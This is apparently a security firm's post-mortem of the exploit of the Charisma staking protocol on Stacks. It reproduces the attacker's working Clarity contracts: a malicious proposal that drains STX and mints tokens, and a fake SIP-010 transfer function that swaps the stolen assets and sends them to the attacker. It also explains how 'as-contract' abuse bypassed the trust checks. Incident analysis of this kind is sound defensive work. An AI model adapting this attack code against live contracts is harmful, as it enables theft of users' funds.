This is likely the second known attack on Bitcoin DeFi. The first, against Zest Protocol, has already been analyzed by us before.
It’s important to note that Stacks uses the Clarity smart contract language, which differs significantly from Solidity. If you’d like to learn more about Clarity, please refer to https://book.clarity-lang.org/
In this context, we won’t delve into the specifics of Clarity.
Charisma is a memecoins staking protocol on stacks ecosystem,in Sep 21th attacker exploit the smart contract vulnerability drained all liquidity, lost 183,548 STX
The whole brief attack flow is:
the attacker tx is :https://explorer.hiro.so/txid/0xa570732b3d733ee33fde841ee4ba4692602241509e3729e0e98ab4ce80ebe024?chain=mainnet
the attack deploy the attack contract:
SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7.badger-stx-city
burn
function on `SP33HDXRZDGBY4NSCMPZJ9FP9XMKANVJHFD44YPYK.honey-badger-city
contract(define-public (execute (proposal <proposal-trait>) (sender principal))
(begin
(try! (is-self-or-extension))
(asserts! (map-insert executed-proposals (contract-of proposal) block-height) err-already-executed)
(print {event: "execute", proposal: proposal})
(as-contract (contract-call? proposal execute sender))
)
)
with the arguments:
proposal: `'SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7.badger-stx-city`
sender: `SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7`
'SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7.badger-stx-city
execute function:(define-public (execute (sender principal))
(begin
(if (> (stx-get-balance tx-sender) u0)
(try! (stx-transfer? (stx-get-balance tx-sender) tx-sender (var-get contract-owner)))
false)
(try! (contract-call? 'SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dungeon-master set-extension 'SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dme001-proposal-voting false))
(try! (contract-call? 'SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dme000-governance-token dmg-mint (* u20000000000 u1000000) 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands))
(try! (contract-call? 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands set-whitelisted .honey-badger-stx-city true))
(match (contract-call? 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands wrap u1 .honey-badger-stx-city)
a true
b true)
(match (contract-call? 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands unwrap u1 .honey-badger-stx-city)
a true
b true)
(ok true))
)
what happed in there is:
1.after call
(try! (stx-transfer? (stx-get-balance tx-sender) tx-sender (var-get contract-owner)))
will transfer the 'SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dungeon-master
contract’s stx to
SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7
you may be confusion here, tx-sender is the origin tx’s sender should be SP33HDXRZDGBY4NSCMPZJ9FP9XMKANVJHFD44YPYK
buy why in here is 'SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dungeon-master
?
this is because the contract call is
(as-contract (contract-call? proposal execute sender))
in carlitity, as-contract
will update the tx-sender to current tx-sender to the current contract address(https://book.clarity-lang.org/ch03-00-keywords.html).
so this is one of keypoint of the attack can happened.
After the transfer, the 'SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7.badger-stx-city
will have dranied all the ~1405 STX in contract 'SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dungeon-master
.
2.call 'SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dungeon-master
set-extension function
3.mint charisma 20,000,000,000 CHA to 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands
https://explorer.hiro.so/txid/SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dme000-governance-token?chain=mainnet
4.add 'SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7.honey-badger-stx-city
to whitelist
5.call SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands
‘ warp
function , this function will
Call maclious contract 'SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7.honey-badger-stx-city
‘s fake transfer function.
;; Wrapping and unwrapping logic
(define-public (wrap (amount uint) (sip010-asset <sip010>))
(let
(
(land-id (try! (get-or-create-land-id sip010-asset)))
(stored-out (set-balance land-id (+ (get-balance-uint land-id tx-sender) amount) tx-sender))
)
(try! (is-dao-or-extension))
(try! (contract-call? sip010-asset transfer amount tx-sender (as-contract tx-sender) none))
(try! (ft-mint? lands amount tx-sender))
(try! (tag-id {land-id: land-id, owner: tx-sender}))
(map-set land-supplies land-id (+ (get-total-supply-uint land-id) amount))
(print {type: "sft_mint", token-id: land-id, amount: amount, recipient: tx-sender})
(ok stored-out)
)
)
fake transfer function in 'SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7.honey-badger-stx-city
‘:
;; SIP-10 Functions
(define-public (transfer (amount uint) (from principal) (to principal) (memo (optional (buff 34))))
(if (and (is-eq from 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands) (is-eq to 'SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dungeon-master))
(begin
(try! (contract-call? 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.wrapped-charisma add-liquidity (* u5000000000 u1000000)))
(try! (swap-token u55 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.wrapped-charisma))
(try! (contract-call? 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.liquid-staked-charisma stake (* u10000000000 u1000000)))
(try! (swap-token u54 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.liquid-staked-charisma))
(try! (swap-token u27 'SP3NE50GEXFG9SZGTT51P40X2CKYSZ5CC4ZTZ7A2G.welshcorgicoin-token))
(try! (swap-token u15 'SP2C1WREHGM75C7TGFAEJPFKTFTEGZKF6DFT6E2GE.kangaroo))
(if (> (stx-get-balance tx-sender) u0)
(try! (stx-transfer? (stx-get-balance tx-sender) tx-sender 'SP3M0BBRZEJ8YBMF8WTSE0MHD04F0S9M4FE7DJVPK))
true)
(ok true))
(ok true))
)
And in here from is ‘SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dungeon-master so (is-eq from 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands)
will return false
and the function directly return (ok true)
6.and then will call unwrap()
(define-public (unwrap (amount uint) (sip010-asset <sip010>))
(let
(
(land-id (try! (get-or-create-land-id sip010-asset)))
(original-sender tx-sender)
(sender-balance (get-balance-uint land-id tx-sender))
(stored-out (set-balance land-id (- sender-balance amount) original-sender))
)
(try! (is-dao-or-extension))
(asserts! (<= amount sender-balance) err-insufficient-balance)
(try! (ft-burn? lands amount original-sender))
(try! (as-contract (contract-call? sip010-asset transfer amount tx-sender original-sender none)))
(map-set land-supplies land-id (- (get-total-supply-uint land-id) amount))
(print {type: "sft_burn", token-id: land-id, amount: amount, sender: original-sender})
(ok stored-out)
)
)
in this function will make original-sender is 'SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dungeon-master
1.first will burn the LANDS token which mint before.
2.execute the code:
(try! (as-contract (contract-call? sip010-asset transfer amount tx-sender original-sender none)))
in here. it will call 'SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7.honey-badger-stx-city
‘s fake transfer
function again
this time transfer from will be SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands
to will be 'SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dungeon-master
so the verfiy
(if (and (is-eq from 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands) (is-eq to 'SP2D5BGGJ956A635JG7CJQ59FTRFRB0893514EZPJ.dungeon-master))
will be bypass .
3.After execute:
(try! (contract-call? 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.wrapped-charisma add-liquidity (* u5000000000 u1000000)))
will transfer the SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands
contract’s 5,000,000,000 CHA token to 'SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.wrapped-charisma
and add the liquidty to the pool and Stacking 10,000,000,000 CHA tokens and received 9,132,580,000 sCHA tokens.
4.Then call the swap-token
function
(define-public (swap-token (id uint) (contract <sip010>))
(if (> (unwrap-panic (contract-call? contract get-balance tx-sender)) u0)
(contract-call? 'SP1Y5YSTAHZ88XYK1VPDH24GY0HPX5J4JECTMY4A1.univ2-router swap-exact-tokens-for-tokens id 'SP1Y5YSTAHZ88XYK1VPDH24GY0HPX5J4JECTMY4A1.wstx contract contract 'SP1Y5YSTAHZ88XYK1VPDH24GY0HPX5J4JECTMY4A1.wstx 'SP1Y5YSTAHZ88XYK1VPDH24GY0HPX5J4JECTMY4A1.univ2-share-fee-to (unwrap-panic (contract-call? contract get-balance tx-sender)) u10000)
(err u1))
)
Then, `SP1Y5YSTAHZ88XYK1VPDH24GY0HPX5J4JECTMY4A1.univ2-router` will be used to exchange the tokens contained in the `SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands` contract, including sCHA, Welsh and Roo. Finally, the tokens will be exchanged for wstx through swap.
5.Finally,execute the code:
`(try! (stx-transfer? (stx-get-balance tx-sender) tx-sender 'SP3M0BBRZEJ8YBMF8WTSE0MHD04F0S9M4FE7DJVPK)`
to transfer the swapped stx to address `SP3M0BBRZEJ8YBMF8WTSE0MHD04F0S9M4FE7DJVPK` to complete the attack
The key point of the vulnerability is to cleverly use as-contract
and construct a fake transfer function. This allows the attacker to call wrap
, perform a transfer without any actual operation, and return success. When calling unwrap
, the attacker first staking CHA tokens and then calls swap-token
(including lands contract’s sCHA,Welsh, Roo tokens) to execute the core attack code.
Why not directly construct a malicious transfer function in wrap
to complete the attack?
This is the crux of the attack. In the wrap
function, the code:
(try! (contract-call? sip010-asset transfer amount tx-sender (as-contract tx-sender) none))
ensures that the attacker’s tx-sender
will not be
SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands
.
However, in the unwrap
function:
(try! (as-contract (contract-call? sip010-asset transfer amount tx-sender original-sender none)))
as-contract
makes tx-sender
SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands
. Consequently, 5,000,000,000 CHA tokens in the SP2ZNGJ85ENDY6QRHQ5P2D4FXKGZWCKTB2T0Z55KS.lands
contract are added to the liquidity pool.
“tx-sender is akin to tx.origin in the EVM. The (as-contract tx-sender) feature allows transactions to be executed as if they originated from current context contract, enabling them to circumvent certain restrictions that rely on contracts as trusted sources.
For instance, in this attack, liquidity is inflated because (as-contract tx-sender) grants attackers the ability to directly transfer tokens within the contract to the liquidity pool. This effectively grants them the same privileges as the contract’s owner, compromising the trust boundary. This is the fundamental cause of the attack.”
1.SP33HDXRZDGBY4NSCMPZJ9FP9XMKANVJHFD44YPYK.honey-badger-city
2.SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7.badger-stx-city
3.SP2MYKFP31BM5GMQKNXS6FJXR36K0T2AH0X8JHCC7.honey-badger-stx-city
1.https://exvul.com/the-first-attack-on-bitcoin-defi-smart-contract/
2.https://x.com/CharismaBTC/status/1837430901749244080
3.https://docs.stacks.co/reference/functions#as-contract
4.https://book.clarity-lang.org/ch03-00-keywords.html